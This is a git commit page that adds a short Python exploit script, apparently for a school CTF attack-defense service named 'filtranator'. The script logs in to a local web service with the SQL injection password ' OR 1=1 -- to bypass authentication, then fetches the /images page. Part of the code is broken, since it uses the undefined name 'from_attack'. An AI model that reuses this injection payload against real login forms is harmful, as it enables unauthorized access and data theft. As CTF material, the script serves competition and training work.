adding validated services? patching forcad_local.py
This commit is contained in:
20
ctfcup24-school-ad/sploits/filtranator/sql/sploit.py
Executable file
20
ctfcup24-school-ad/sploits/filtranator/sql/sploit.py
Executable file
@@ -0,0 +1,20 @@
|
||||
#!/usr//bin/python3
|
||||
import io
|
||||
import requests
|
||||
|
||||
|
||||
IP = 'http://localhost'
|
||||
PORT = '6969'
|
||||
|
||||
def main():
|
||||
sess = requests.Session()
|
||||
username = from_attack
|
||||
resp = sess.post(
|
||||
IP + ":" + PORT + "/login", data={"username": username, "password": "' OR 1=1 --"}
|
||||
)
|
||||
print(resp.text)
|
||||
resp = sess.get(IP + ":" + PORT + "/images")
|
||||
print(resp.text)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user